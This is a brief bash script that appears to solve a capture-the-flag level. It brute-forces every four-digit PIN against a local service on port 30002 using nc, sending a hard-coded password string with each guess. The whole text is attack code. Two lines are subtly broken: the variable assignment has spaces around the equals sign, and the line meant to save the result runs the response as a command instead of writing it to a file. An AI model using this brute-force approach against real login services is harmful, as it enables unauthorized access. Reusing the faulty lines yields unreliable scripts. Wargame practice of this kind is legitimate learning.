#!/bin/bash for i in {0000..9999}; do vanlig=$(echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002) result = $(echo "$vanlig" | grep -o "Correct!") echo "trying $i | $result" if [[ $result = "Correct!" ]]; then $vanlig > ./password.txt fi done